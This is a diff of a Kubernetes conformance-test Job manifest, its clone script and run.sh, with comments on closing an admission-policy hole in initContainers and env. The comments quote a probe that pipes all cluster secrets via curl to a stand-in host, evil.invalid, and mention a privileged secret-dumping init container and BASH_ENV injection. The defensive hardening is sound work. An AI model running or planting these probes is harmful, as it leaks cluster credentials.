+# CI (Gitea Actions) creates this Job and waits for it. CI holds NO broad kubeconfig —
+# only the narrow `conformance-trigger` identity (create/get jobs, get pods + pods/log).
+# In particular it has NO `pods/exec` and cannot `kubectl cp`, which is why results leave
+# the Job over STDOUT (see "RESULTS TRANSPORT" below) and not over an exec channel.
 #
-# Results artifact mechanism (delegated to WS-TEST by docs/14 open items):
-#   Chosen = a shared results emptyDir + a terminating log stream, with an
-#   OPTIONAL results PVC for durability across CI collection. For Phase 0 there is
-#   no cluster; this manifest is reconciled by Flux from Phase 1+ and exercised
-#   once L2/L3 can run. CI collects `report.junit.xml` + `coverage/` from the
-#   results volume (or scrapes the pod log, which echoes their paths).
+# -----------------------------------------------------------------------------
+# THE ADMISSION BOUNDARY THIS MANIFEST MUST SATISFY
+# -----------------------------------------------------------------------------
+# platform/kyverno/admission/conformance-trigger-job-shape.yaml is Enforce +
+# failurePolicy: Fail, and it governs every Job `conformance-trigger` creates. It admits
+# ONLY: exactly one container on a digest-pinned conformance-runner image,
+# serviceAccountName conformance-runner, command ["./run.sh"], args drawn from
+# --layer/--requirements/--include-scope/--strict-coverage plus plain value tokens, no
+# host namespaces, non-root with privilege escalation off, and — the constraint that
+# shapes everything below — NO VOLUMES BUT `workspace` AND `results`.
 #
-# NOT applied in Phase 0 (no cluster). Image tag pinned to versions.env CHAINSAW_IMAGE.
+# So the git credential CANNOT be a projected/secret volume, and the init container
+# cannot have a scratch volume of its own. Both are solved inside the two allowed names:
+#   * the credential arrives as env vars via secretKeyRef (an env var is not a volume),
+#     BY SECRET NAME ONLY — no token literal ever appears in this file;
+#   * `$TMPDIR` and `$HOME` are pointed at directories on the `workspace` emptyDir, so
+#     readOnlyRootFilesystem stays true without a third volume and without subPath
+#     mounts (a kubelet-created subPath dir is root-owned 0755 and would not be writable
+#     by the non-root runner).
+#
+# Verify before changing anything here:
+#   kyverno apply platform/kyverno/admission/conformance-trigger-job-shape.yaml \
+#     --resource <rendered job> \
+#     --userinfo platform/kyverno/tests/conformance-trigger/user-info.yaml
+# and see platform/kyverno/tests/conformance-trigger/ — the `real-template` case in
+# resources.yaml is this shape, so `make -C ci l0` fails if it drifts out of admission.
+#
+# -----------------------------------------------------------------------------
+# THE initContainers HOLE — FOUND AND CLOSED IN THE SAME PR (2026-09-29)
+# -----------------------------------------------------------------------------
+# As originally written, the policy read only `spec.template.spec.containers` (rule 1's
+# pattern, rule 3's `containers[0].args`) and `volumes` (rule 2). `initContainers` was
+# never examined, so the exact escalation the policy exists to stop was reachable one
+# field over. MEASURED with the pinned CLI (kyverno v1.19.0), `containers[0]` left fully
+# compliant:
+#
+#   * this template with ONLY the init container's args replaced by
+#     `kubectl get secrets -A -o yaml | curl -X POST --data-binary @- http://evil.invalid/`
+#   * and (the coordinator's independent reproduction) a `privileged: true`
+#     `docker.io/library/alpine:latest` init container running `kubectl get secrets -A`
+#
+#   ->  pass: 3, fail: 0, warn: 0, error: 0, skip: 0        # BOTH ADMITTED
+#
+# `=(privileged): "false"` in rule 1 only ever applied to `containers[0]`.
+#
+# Closed by new rules in that policy, authorised by the coordinator in this PR
+# (the original brief forbade policy edits; that was to stop the boundary being BENT to
+# fit a Job, not to stop a hole being closed):
+#   * `trigger-initcontainers-must-be-the-committed-clone-step` — at most one init
+#     container, on the digest-pinned runner image, `command:
+#     ["/usr/local/bin/conformance-clone"]`, NO args, non-root, no privilege escalation,
+#     not privileged. The clone logic moved OUT of this manifest and into the image for
+#     exactly this reason: a policy cannot vet a shell script passed as `args`, so the
+#     script had to stop being caller-supplied data. It stays reviewable as
+#     conformance/incluster/conformance-clone.
+#   * `trigger-may-not-declare-ephemeral-containers` — `ephemeralContainers` was the same
+#     unread field. Upstream k8s is BELIEVED to reject it in a pod template; that was not
+#     verified here, and the rule costs nothing if it is true.
+#   * `trigger-env-names-must-be-the-committed-set` and `trigger-may-not-use-envfrom` — `env`
+#     was the same mistake a THIRD time. `command` is pinned, so injection moves to a variable
+#     the pinned command honours, and `BASH_ENV` alone is arbitrary code execution: bash
+#     sources it before running a non-interactive script. Names are allowlisted per container;
+#     VALUES and the `valueFrom` source Secret deliberately are not (values are legitimately
+#     environment-specific, and conformance-runner can already read this namespace's Secrets
+#     through its own RBAC, so pinning the source would buy nothing).
+#
+# Every probe is now a negative fixture in platform/kyverno/tests/conformance-trigger/ —
+# `evil-initcontainer`, `initcontainer-with-args`, `second-initcontainer`,
+# `evil-ephemeral-container`, `injected-env`, `injected-initcontainer-env`,
+# `envfrom-whole-secret` — so they stay failing.
+#
+# THE GENERALISABLE LESSON, since this was the same bug three times: an "admit only the
+# committed shape" policy is only as good as its enumeration of every field that can carry
+# executable intent. `containers` was enumerated; `initContainers`, `ephemeralContainers` and
+# `env` were not. Before adding a field to this Job, ask which rule reads it — and if none
+# does, that is the finding, not an oversight to work around.
+#
+# The clone URL is hardcoded in the image entrypoint (and `CONFORMANCE_REPO_URL` is hard-failed
+# on a mismatch rather than honoured) for exactly this reason. Do not move it into env.
+#
+# Note also that `kyverno apply` evaluates these rules whether or not `--userinfo` is
+# supplied, so a CLI pass is evidence about the PATTERNS, not about the subjects filter.
+#
+# -----------------------------------------------------------------------------
+# WHAT THE TRIGGER SUBSTITUTES — `@@NAME@@` tokens, NOT `${NAME}`
+# -----------------------------------------------------------------------------
+# The placeholder syntax is deliberately NOT shell syntax. `${NAME}` would be substituted by
+# `envsubst`, which has no way to tell a token meant for rendering from a shell reference
+# that belongs to a script — a trap this file walked into while the clone logic was still an
+# inline bash script here. `@@NAME@@` cannot collide with anything, and a surviving `@@` in a
+# rendered manifest is trivially greppable as "the trigger forgot to render this". Render
+# with a two-token sed, nothing cleverer:
+#
+#   sed -e "s|@@CONFORMANCE_RUNNER_IMAGE_DIGEST@@|${digest}|" \
+#       -e "s|@@CONFORMANCE_GIT_SHA@@|${sha}|" conformance/incluster/chainsaw-job.yaml
+#
+#   @@CONFORMANCE_RUNNER_IMAGE_DIGEST@@  the 64-hex digest of the pinned runner image.
+#         Only the DIGEST is substituted — the registry path and the `@sha256:` pinning
+#         are committed literals, so the substitution cannot repoint the image at another
+#         repository, and the template still satisfies the policy's image pattern before
+#         rendering. An unsubstituted digest fails as ImagePullBackOff, loudly.
+#   @@CONFORMANCE_GIT_SHA@@             the 40-hex commit under test. The init container
+#         REFUSES to run unless it matches ^[0-9a-f]{40}$, so an unsubstituted placeholder
+#         or an injected value is a hard failure, never a run of the wrong tree.
+#
+# `args` is NOT a placeholder: it is a real list, and the trigger REPLACES it wholesale per
+# invocation shape. Keeping it a committed list (not a substituted scalar) is what lets this
+# file be handed to `kyverno apply` as-is.
+#
+# -----------------------------------------------------------------------------
+# WHICH ARGS ACTUALLY RUN ON THIS IMAGE — `--layer` IS MANDATORY AND MUST NAME ONLY l2/l3
+# -----------------------------------------------------------------------------
+# The runner image ships bash, git, python3, chainsaw and kubectl. It deliberately does NOT
+# ship flux, promtool, kyverno or kustomize, because L0/L1 are CI's job and run without a
+# cluster. But run.sh runs its OFFLINE L0/L1 stages first for any selection that is not
+# offline-only, and those stages need exactly those missing tools. Tracing run.sh:
+#
+#   requirement_scoped_dirs() is layer-bounded ONLY when --layer is given and != all;
+#   offline_selected_dirs() then filters the selection to /l0-static/|/l1-rendering/.
+#
+# so:
+#   ["--layer","l2,l3"]                                        -> offline selection EMPTY. RUNS.
+#   ["--layer","l2,l3","--requirements","R-NET-01"]             -> intersected to L2/L3. RUNS.
+#   ["--layer","l2,l3","--include-scope","whole-repo"]          -> scope union is ALSO
+#         layer-bounded, so only whole-repo-scoped L2/L3 tests (none today). RUNS.
+#   ["--requirements","R-NET-01"]        (no --layer, so LAYER=all) -> unbounded: pulls that
+#         requirement's L0/L1 tests into the run. FAILS on the missing toolchain.
+#   ["--layer","all","--strict-coverage"]                       -> every L0/L1 test. FAILS.
+#
+# The first three are measured working by the image build (PR #18); the last two are measured
+# failing. **The plan's "PHASE EXIT: --layer all" shape therefore cannot run in-cluster** — a
+# full-suite run still belongs to CI for L0/L1 plus this Job for L2/L3, not to this Job alone.
+# The committed default below is the narrowest shape that works.
+#
+# The admission policy's args allowlist is deliberately NOT narrowed to enforce this: a
+# security boundary should not encode which toolchain an image happens to ship, and the failure
+# mode of an allowed-but-unrunnable shape is a loud non-zero run, not an escalation. This
+# comment is the enforcement, and `ci/conformance.sh` (plan §3 item 4) is where it must land.
+#
+# -----------------------------------------------------------------------------
+# RESULTS TRANSPORT — base64 tar on STDOUT, truncation-detectable
+# -----------------------------------------------------------------------------
+# `command` is pinned to ["./run.sh"] by admission, so nothing can be appended after the
+# suite to package artifacts. run.sh therefore does it itself, on an EXIT trap, when
+# CONF_EMIT_ARTIFACTS_TGZ=1 (set below and nowhere else). It prints:
+#
+#   === ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
+#   <base64 of the tgz, wrapped at 76 columns>
+#   === ARTIFACTS-TGZ-BASE64 END v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
+#
+# The BEGIN and END headers are byte-identical and both carry the size, the base64 line
+# count and the sha256. A collector that checks all four (one BEGIN, one END, headers
+# equal, line count and digest match) cannot mistake a truncated `kubectl logs` for a
+# complete artifact set — which a bare blob would, because base64 decodes a truncated
+# stream to plausible garbage without complaint. See the block comment above
+# conf_emit_artifacts_tgz() in conformance/run.sh for the collector's exact obligations.
+#
+# `activeDeadlineSeconds` is deliberately shorter than the log-retention window: the
+# transport is the pod's log, so the Job must finish while that log still exists.
 # =============================================================================
 apiVersion: batch/v1
 kind: Job
@@ -28,7 +180,10 @@ metadata:
     app.kubernetes.io/part-of: conformance
 spec:
   backoffLimit: 0            # deterministic: a failed conformance run is a failure, no retry
+  # A retry would also re-emit the artifact envelope, giving the collector two BEGIN
+  # markers in one log. backoffLimit 0 keeps "exactly one envelope per Job" true.
   ttlSecondsAfterFinished: 3600
+  activeDeadlineSeconds: 5400   # L3 fault injection is slow; a hung run must not hold the gate
   template:
     metadata:
       labels:
@@ -37,38 +192,118 @@ spec:
       serviceAccountName: conformance-runner    # scoped test identity (rbac.yaml)
       restartPolicy: Never
       securityContext:
+        # runAsUser is explicit, not inherited from the image's USER: `runAsNonRoot: true`
+        # alone only *rejects* a root image, it does not choose a uid, and the runner image
+        # is built by a separate task (plan §5 step 1). 65532 is the conventional
+        # distroless `nonroot` uid; the Containerfile MUST create it. fsGroup makes both
+        # emptyDirs group-writable for that uid.
         runAsNonRoot: true
+        runAsUser: 65532
+        runAsGroup: 65532
+        fsGroup: 65532
         seccompProfile: { type: RuntimeDefault }
-      containers:
-        - name: chainsaw
-          # PIN to versions.env CHAINSAW_IMAGE (ghcr.io/kyverno/chainsaw:v0.2.12).
-          image: ghcr.io/kyverno/chainsaw:v0.2.12
-          workingDir: /workspace/conformance
-          # The suite repo is delivered into /workspace (git clone init-container or
-          # a Flux-populated volume). run.sh is the single entrypoint (identical to local).
-          command: ["./run.sh"]
-          # CI overrides args per invocation shape:
-          #   ["--requirements", "R-NET-01,R-NET-06"]   (merge gate) OR
-          #   ["--layer", "all", "--strict-coverage"]   (phase exit)
-          args: ["--layer", "all", "--strict-coverage"]
+      initContainers:
+        # ---------------------------------------------------------------------
+        # Deliver the suite AT THE COMMIT UNDER TEST into the shared workspace.
+        #
+        # NO SCRIPT AND NO ARGS HERE, DELIBERATELY. The logic lives in the repo at
+        # conformance/incluster/conformance-clone and is baked into the runner image at
+        # /usr/local/bin/conformance-clone. That is what makes the init container
+        # ENFORCEABLE: while the script was inline as `command: ["/bin/bash","-c"]` +
+        # `args: [<script>]`, no admission policy could distinguish the committed script
+        # from an attacker's — both are just `args` on a shell, and a Job with a privileged
+        # alpine init container running `kubectl get secrets -A` was ADMITTED (measured
+        # 2026-09-29). Rule `trigger-initcontainers-must-be-the-committed-clone-step` now
+        # pins this container to that one path with NO args, so it carries no
+        # caller-supplied code. Read that entrypoint for the clone/fetch/assert logic
+        # and for why the repository URL is hardcoded THERE rather than passed in env.
+        #
+        # Only the commit SHA is caller-supplied, and the entrypoint refuses anything that
+        # is not 40 hex characters before it touches the network.
+        # ---------------------------------------------------------------------
+        - name: clone-suite-at-commit
+          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:@@CONFORMANCE_RUNNER_IMAGE_DIGEST@@
+          command: ["/usr/local/bin/conformance-clone"]
           env:
-            - name: CONF_ROOT
-              value: /workspace/conformance
+            - name: CONFORMANCE_GIT_SHA
+              value: "@@CONFORMANCE_GIT_SHA@@"
+            # BY SECRET NAME ONLY. Provisioned out-of-band by the operator (plan §3.6) as a
+            # READ-ONLY Gitea token with read access to this one repository — never a write
+            # token, never a deploy key with push. Keys: `username`, `token`.
+            # An env var is not a volume, which is how this coexists with the admission
+            # policy's workspace/results-only rule.
+            - name: GITEA_USERNAME
+              valueFrom:
+                secretKeyRef: { name: conformance-git-readonly, key: username }
+            - name: GITEA_TOKEN
+              valueFrom:
+                secretKeyRef: { name: conformance-git-readonly, key: token }
+            # Writable scratch + HOME on the workspace emptyDir, so the root filesystem
+            # stays read-only and no third volume is needed.
+            - name: TMPDIR
+              value: /workspace/tmp
+            - name: HOME
+              value: /workspace/home
           volumeMounts:
             - { name: workspace, mountPath: /workspace }
-            - { name: results, mountPath: /workspace/conformance/_artifacts }
           securityContext:
             allowPrivilegeEscalation: false
             readOnlyRootFilesystem: true
             capabilities: { drop: ["ALL"] }
             runAsNonRoot: true
+          resources:
+            requests: { cpu: 100m, memory: 128Mi }
+            limits: { cpu: "1", memory: 512Mi }
+      containers:
+        - name: chainsaw
+          # Digest-pinned under the conformance repository path — the admission policy
+          # rejects a mutable tag. Built from conformance/versions.env CHAINSAW_VERSION
+          # (+ kubectl, git, python3, bash); see plan §5 step 1.
+          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:@@CONFORMANCE_RUNNER_IMAGE_DIGEST@@
+          workingDir: /workspace/src/conformance
+          # PINNED BY ADMISSION. Nothing may wrap or follow it, which is why the artifact
+          # envelope is emitted by run.sh itself rather than by a shell one-liner here.
+          command: ["./run.sh"]
+          # Replaced wholesale by the trigger per invocation shape (see the header).
+          # `--layer l2,l3` and NOT `--layer all`: see the WHICH ARGS ACTUALLY RUN block.
+          args: ["--layer", "l2,l3"]
+          env:
+            # run.sh derives CONF_ROOT from its own location; CONF_ARTIFACTS moves the
+            # artifact tree onto the `results` volume. It cannot live at its default
+            # conformance/_artifacts, because a volume mounted inside the clone target
+            # would make that directory non-empty and `git clone` would refuse it.
+            - name: CONF_ARTIFACTS
+              value: /results
+            # THE RESULTS CHANNEL. Set here and nowhere else: a local run must not spray a
+            # base64 tar over an operator's terminal.
+            - name: CONF_EMIT_ARTIFACTS_TGZ
+              value: "1"
+            - name: TMPDIR
+              value: /workspace/tmp
+            - name: HOME
+              value: /workspace/home
+          volumeMounts:
+            - { name: workspace, mountPath: /workspace }
+            - { name: results, mountPath: /results }
+          securityContext:
+            allowPrivilegeEscalation: false
+            readOnlyRootFilesystem: true
+            capabilities: { drop: ["ALL"] }
+            runAsNonRoot: true
+          # L3 fault injection drives etcd and Longhorn hard (see run.sh's HEAVY set and
+          # config/chainsaw-config.yaml); the limits bound the blast radius on a homelab
+          # node without starving the suite.
+          resources:
+            requests: { cpu: 250m, memory: 512Mi }
+            limits: { cpu: "2", memory: 2Gi }
       volumes:
-        # Suite source: populated by an init-container git clone of the impl repo at
-        # the commit under test, OR a Flux-synced source volume. (Init container
-        # omitted from this skeleton; wire in T-6.1b.)
+        # ONLY THESE TWO NAMES ARE ADMISSIBLE. Do not add a third.
+        # Suite source, written by the init container: /workspace/src is the checkout,
+        # /workspace/tmp is $TMPDIR, /workspace/home is $HOME.
         - name: workspace
           emptyDir: {}
-        # Results: CI collects report.junit.xml + coverage/ from here. Swap emptyDir
-        # for a results PVC if durability beyond pod lifetime is required.
+        # Artifact tree ($CONF_ARTIFACTS). Its contents are what the STDOUT envelope
+        # carries; an emptyDir is sufficient because the transport is the log, not the
+        # volume. Swap for a PVC only if the log channel is replaced (plan §7 item 4).
         - name: results
           emptyDir: {}

conformance/incluster/conformance-clone

@@ -0,0 +1,138 @@
+#!/usr/bin/env bash
+###############################################################################
+# conformance-clone — fetch the impl repo at the exact commit under test.
+#
+# Baked into the conformance-runner image at /usr/local/bin/conformance-clone, mode 0755
+# root:root, so the running container (uid 65532) cannot replace it. The Job's init
+# container runs it as `command: ["/usr/local/bin/conformance-clone"]` with NO args.
+#
+# WHY IT IS A FILE IN THE IMAGE AND NOT AN INLINE SCRIPT IN THE JOB
+# -----------------------------------------------------------------
+# platform/kyverno/admission/conformance-trigger-job-shape.yaml pins the MAIN container's
+# `command` to ["./run.sh"] and constrains its `args` — but it never reads `initContainers`.
+# So a Job from `conformance-trigger` could carry an init container with
+# `command: ["/bin/sh","-c"]` and an arbitrary script, running as the privileged
+# `conformance-runner` SA. Reproduced by the policy's author: such a Job is ADMITTED
+# (pass 3, fail 0).
+#
+# The fix has two halves and NEITHER works alone:
+#   1. this file — a fixed path with fixed behaviour and no argument surface, so there is
+#      nothing for a caller to inject into; and
+#   2. a 4th policy rule requiring every initContainer's `command` to be exactly
+#      ["/usr/local/bin/conformance-clone"] with no `args`. That rule lives in the policy
+#      and is NOT this branch's to write — a security boundary changes in its own reviewed PR.
+# Without (2) this file is merely available, not required.
+#
+# THE ENV SURFACE IS THE OTHER HALF OF THE SAME HOLE — READ THIS BEFORE "SIMPLIFYING"
+# -----------------------------------------------------------------------------------
+# The admission policy says NOTHING about `env`. Verified: no `env`, `valueFrom` or
+# `secretKeyRef` clause appears in it. So a script that took its repository URL from the
+# environment would just move the injection one field over — the trigger sets
+# CONFORMANCE_REPO_URL to a repo it controls, this clones it, and `./run.sh` from THAT repo
+# executes under the privileged runner SA. Identical shape to the initContainers gap, and
+# "no args" would not have stopped it.
+#
+# Therefore the repository URL and the clone target are COMPILED IN below. The matching env
+# vars are still read, so the Job template can keep declaring them and stay self-documenting,
+# but a value that DISAGREES with the baked literal is a hard failure, never a redirect.
+# The only per-run input that is genuinely trusted is the commit SHA, and it must be 40 hex
+# characters of a commit that the baked repository actually contains.
+#
+# Inputs (environment; no arguments are accepted):
+#   CONFORMANCE_GIT_SHA   REQUIRED. 40 lowercase hex. The commit under test.
+#   CONFORMANCE_REPO_URL  optional. Must equal the baked URL if set.
+#   CONFORMANCE_SRC       optional. Must equal the baked target if set.
+#   GITEA_USERNAME        optional, from Secret `conformance-git-readonly`.
+#   GITEA_TOKEN           optional, from Secret `conformance-git-readonly`.
+#   TMPDIR / HOME         optional; must be under /workspace. Default to /workspace/{tmp,home}.
+#
+# Runs under: uid 65532, readOnlyRootFilesystem, only the `workspace` and `results` volumes.
+# Everything it writes therefore lives under /workspace. There is no writable /tmp.
+###############################################################################
+set -euo pipefail
+
+# --- COMPILED-IN, NOT CONFIGURABLE (see the header) --------------------------
+readonly BAKED_REPO_URL="https://gitea.home.keithjackson.dev/Home-Network/home-network-k3s-impl.git"
+readonly BAKED_SRC="/workspace/src"
+
+die() { printf 'FATAL: %s\n' "$*" >&2; exit 1; }
+log() { printf '==> %s\n' "$*"; }
+
+[ "$#" -eq 0 ] || die "takes no arguments (got $#: $*). Arguments are where an injection would live."
+
+# --- the one genuinely trusted input ----------------------------------------
+# A bad SHA must never degrade into "ran whatever the branch tip was": an unrendered
+# @@CONFORMANCE_GIT_SHA@@ placeholder has to be a hard failure, not a silent run of main.
+: "${CONFORMANCE_GIT_SHA:?CONFORMANCE_GIT_SHA is not set; the CI trigger did not render it}"
+printf '%s' "${CONFORMANCE_GIT_SHA}" | grep -Eq '^[0-9a-f]{40}$' \
+  || die "CONFORMANCE_GIT_SHA is not a 40-hex commit id: '${CONFORMANCE_GIT_SHA}'
+       The CI trigger did not substitute it, or substituted junk."
+
+# --- env that may agree with the baked values, but may not override them -----
+REPO_URL="${CONFORMANCE_REPO_URL:-${BAKED_REPO_URL}}"
+[ "${REPO_URL}" = "${BAKED_REPO_URL}" ] || die "CONFORMANCE_REPO_URL does not match the image's baked repository.
+         got:    ${REPO_URL}
+         baked:  ${BAKED_REPO_URL}
+       Refusing. A caller that can choose the repository can choose the code that runs."
+
+SRC="${CONFORMANCE_SRC:-${BAKED_SRC}}"
+[ "${SRC}" = "${BAKED_SRC}" ] || die "CONFORMANCE_SRC does not match the image's baked clone target.
+         got:    ${SRC}
+         baked:  ${BAKED_SRC}
+       Refusing."
+
+# Scratch paths must stay on the workspace volume; the root filesystem is read-only.
+# `/workspace` ITSELF is allowed, not just subdirectories: the image's own ENV sets
+# HOME=/workspace, and an earlier version of this guard rejected exactly that — it matched
+# only `/workspace/*` and so refused its own default. Caught by running it, not by reading it.
+: "${TMPDIR:=/workspace/tmp}"
+: "${HOME:=/workspace/home}"
+on_workspace() { case "$1" in /workspace|/workspace/*) return 0 ;; *) return 1 ;; esac; }
+on_workspace "${TMPDIR}" || die "TMPDIR must be /workspace or under it (got '${TMPDIR}')"
+on_workspace "${HOME}"   || die "HOME must be /workspace or under it (got '${HOME}')"
+export TMPDIR HOME
+mkdir -p "${TMPDIR}" "${HOME}"
+
+# --- credential (optional) ---------------------------------------------------
+# git's shell credential helper is invoked as `sh -c '<value> get'`, so it reads $1 and
+# answers from the environment. The token therefore never appears in argv and never on disk.
+#
+# ANONYMOUS FALLBACK, DELIBERATE AND ANNOUNCED. Read access to this repository currently
+# needs no credential (measured: `ls-remote` succeeds unauthenticated from inside this
+# image), so requiring the Secret would fail runs that would otherwise work — and would make
+# this script untestable without one. It is not a privilege downgrade: the integrity
+# guarantee here is the SHA assertion below, not the credential. Which mode was used is
+# logged, so a run that silently lost its Secret is visible in the log rather than inferred.
+CRED=''
+if [ -n "${GITEA_USERNAME:-}" ] && [ -n "${GITEA_TOKEN:-}" ]; then
+  CRED='!f() { if [ "$1" = get ]; then printf "username=%s\npassword=%s\n" "$GITEA_USERNAME" "$GITEA_TOKEN"; fi; }; f'
+  log "authenticating as '${GITEA_USERNAME}' (token from the environment, never argv)"
+else
+  log "no GITEA_USERNAME/GITEA_TOKEN in the environment — cloning ANONYMOUSLY"
+fi
+
+git_c() {
+  if [ -n "${CRED}" ]; then git -c credential.helper="${CRED}" "$@"; else git "$@"; fi
+}
+
+# --- clone, land the exact commit, and PROVE it ------------------------------
+log "shallow clone ${REPO_URL} -> ${SRC}"
+git_c clone --depth 1 --no-tags --single-branch "${REPO_URL}" "${SRC}"
+
+if ! git -C "${SRC}" cat-file -e "${CONFORMANCE_GIT_SHA}^{commit}" 2>/dev/null; then
+  log "${CONFORMANCE_GIT_SHA} is not in the shallow tip; fetching that commit"
+  git_c -C "${SRC}" fetch --depth 1 --no-tags origin "${CONFORMANCE_GIT_SHA}"
+fi
+
+git -C "${SRC}" checkout --detach "${CONFORMANCE_GIT_SHA}"
+
+# The assertion is the point of the whole script: everything above is best-effort plumbing,
+# this is what makes "the suite ran at the commit under test" a fact rather than a hope.
+head="$(git -C "${SRC}" rev-parse HEAD)"
+[ "${head}" = "${CONFORMANCE_GIT_SHA}" ] \
+  || die "checked out ${head}, expected ${CONFORMANCE_GIT_SHA}."
+
+test -x "${SRC}/conformance/run.sh" \
+  || die "no executable conformance/run.sh at ${head}."
+
+log "suite ready at ${head}"

conformance/run.sh

@@ -60,6 +60,17 @@
 #   _artifacts/status/status.md        human requirement-status report (--status)
 #   _artifacts/status/status.json      machine requirement-status report (--status)
 #
+# Environment (both set ONLY by the in-cluster Job, incluster/chainsaw-job.yaml):
+#   CONF_ARTIFACTS=<dir>           relocate the artifact tree off the default
+#                                  conformance/_artifacts (the Job mounts a `results`
+#                                  volume, which cannot sit inside the git-clone target).
+#   CONF_EMIT_ARTIFACTS_TGZ=1      on exit — pass, fail or abort — print a delimited,
+#                                  checksummed base64 tar of the artifact tree to STDOUT,
+#                                  because `kubectl logs` is the only channel CI has out of
+#                                  the Job (no pods/exec, no kubectl cp). See the RESULTS
+#                                  TRANSPORT block below for the envelope and for the five
+#                                  checks a collector MUST make. Never set this locally.
+#
 # Run ledger (TRACKED — commit these; --record only):
 #   runs/<UTC>-<short-sha>/run.log            full tee'd run output (carries the sentinels)
 #   runs/<UTC>-<short-sha>/report.junit.xml   the JUnit for that same run
@@ -78,7 +89,12 @@ source "${CONF_ROOT}/lib/common.sh"
 # shellcheck source=versions.env
 source "${CONF_ROOT}/versions.env"
 
-ARTIFACTS="${CONF_ROOT}/_artifacts"
+# CONF_ARTIFACTS relocates the whole artifact tree. The in-cluster Job needs it (see
+# incluster/chainsaw-job.yaml): its `results` volume cannot be mounted at the default
+# path, because that path is inside the directory the init container `git clone`s into and
+# a mounted-in directory would make the clone target non-empty. Unset everywhere else, so
+# a local run is byte-identical to what it always was.
+ARTIFACTS="${CONF_ARTIFACTS:-${CONF_ROOT}/_artifacts}"
 COVERAGE_OUT="${ARTIFACTS}/coverage"
 STATUS_OUT="${ARTIFACTS}/status"
 JUNIT_OUT="${ARTIFACTS}/report.junit.xml"
@@ -208,6 +224,100 @@ if [ "${RECORD}" = 1 ] && [ -z "${CONF_RECORD_CHILD:-}" ]; then
   exit "${RUN_RC}"
 fi
 
+###############################################################################
+# RESULTS TRANSPORT (in-cluster only): a self-describing, truncation-detectable
+# base64 tar of the artifact tree, printed to STDOUT. OFF unless CONF_EMIT_ARTIFACTS_TGZ=1.
+#
+# WHY THIS LIVES IN run.sh AND NOT IN THE JOB MANIFEST. The admission policy that bounds
+# the CI trigger (platform/kyverno/admission/conformance-trigger-job-shape.yaml, Enforce +
+# fail-closed) pins the Job's `command` to exactly ["./run.sh"], so no shell may wrap the
+# suite to package artifacts afterwards. And the trigger identity deliberately holds NO
+# pods/exec and cannot `kubectl cp` (R-SEC-02; docs/plans/l2-l3-conformance-ci-wiring.md
+# §3.3 and §4), so `kubectl logs` is the ONLY channel out of the Job. The runner therefore
+# has to put its own artifacts on its own stdout. It is an EXIT trap, so a FAILED run still
+# ships its JUnit — the red report is the evidence the gate needs most.
+#
+# WHY THE ENVELOPE LOOKS LIKE THIS. `kubectl logs` is a lossy channel: `--tail`, a rotated
+# CRI log file, a dropped watch, or CRI's per-line split can each deliver a mere PREFIX of
+# the stream. base64 decodes a truncated stream without complaint, into a tar that gunzip
+# may even partially unpack — silent, plausible garbage. So the envelope carries everything
+# needed to PROVE completeness, and carries it TWICE:
+#
+#   === ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
+#   <base64 of the .tgz, wrapped at 76 columns>
+#   === ARTIFACTS-TGZ-BASE64 END v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
+#
+# THE COLLECTOR MUST DO ALL FIVE CHECKS, and treat any failure as a COLLECTION FAILURE —
+# never as "no artifacts", never as a pass:
+#   1. exactly one BEGIN line and exactly one END line;
+#   2. the two header payloads (everything after BEGIN/END) byte-identical — a mismatch
+#      means two interleaved or re-emitted envelopes in one log;
+#   3. the count of body lines between them equals lines=;
+#   4. the decoded byte count equals bytes=;
+#   5. sha256 of the decoded bytes equals sha256=.
+# No check is sufficient alone. A head-truncated log fails (1); a tail-truncated one fails
+# (1); a dropped interior line fails (3) and (5); a corrupted line that preserves the line
+# count fails (5). (1)+(2) are what make a partial log DETECTABLE rather than decodable,
+# which is the whole design requirement.
+#
+# `rc=` is the suite's own exit code, carried INSIDE the envelope so CI can cross-check it
+# against the Job's completion condition instead of trusting either signal alone.
+#
+# The archive holds the CONTENTS of the artifact tree (`tar -C "$ARTIFACTS" .`), not the
+# directory itself: CONF_ARTIFACTS makes that directory's NAME environment-specific
+# (`/results` in the Job, `conformance/_artifacts` locally), and an archive whose top-level
+# entry changed with the environment would be a trap for the collector. It unpacks the
+# contents wherever it likes.
+#
+# A packaging failure prints a single `... ERROR ...` marker and NOTHING else: no BEGIN, so
+# the collector's check (1) fails and it cannot mistake the run for one with no artifacts.
+###############################################################################
+CONF_ARTIFACT_MARKER="ARTIFACTS-TGZ-BASE64"
+CONF_ARTIFACT_ENVELOPE_VERSION="v1"
+
+conf_emit_artifacts_tgz() {
+  local rc="${1:-0}"
+  # Disarm FIRST: this runs from the EXIT trap and re-arming would recurse on the `exit`
+  # below. That explicit `exit "${rc}"` is also what guarantees this whole function cannot
+  # change the run's verdict — nothing here can turn a red run green or a green run red.
+  trap - EXIT
+  (
+    set +e
+    local tmp tgz b64 bytes lines sha payload
+    tmp="${TMPDIR:-/tmp}"
+    tgz="${tmp}/conformance-artifacts.$$.tgz"
+    b64="${tgz}.b64"
+    if ! tar -czf "${tgz}" -C "${ARTIFACTS}" . 2>/dev/null; then
+      printf '=== %s ERROR %s rc=%s reason=tar-failed path=%s ===\n' \
+        "${CONF_ARTIFACT_MARKER}" "${CONF_ARTIFACT_ENVELOPE_VERSION}" "${rc}" "${ARTIFACTS}"
+      rm -f "${tgz}"
+      exit 0
+    fi
+    if ! base64 -w 76 < "${tgz}" > "${b64}" || ! command -v sha256sum >/dev/null 2>&1; then
+      printf '=== %s ERROR %s rc=%s reason=encode-failed ===\n' \
+        "${CONF_ARTIFACT_MARKER}" "${CONF_ARTIFACT_ENVELOPE_VERSION}" "${rc}"
+      rm -f "${tgz}" "${b64}"
+      exit 0
+    fi
+    bytes="$(wc -c < "${tgz}" | tr -d '[:space:]')"
+    lines="$(wc -l < "${b64}" | tr -d '[:space:]')"
+    sha="$(sha256sum "${tgz}" | cut -d' ' -f1)"
+    payload="${CONF_ARTIFACT_ENVELOPE_VERSION} rc=${rc} bytes=${bytes} lines=${lines} sha256=${sha}"
+    printf '=== %s BEGIN %s ===\n' "${CONF_ARTIFACT_MARKER}" "${payload}"
+    cat "${b64}"
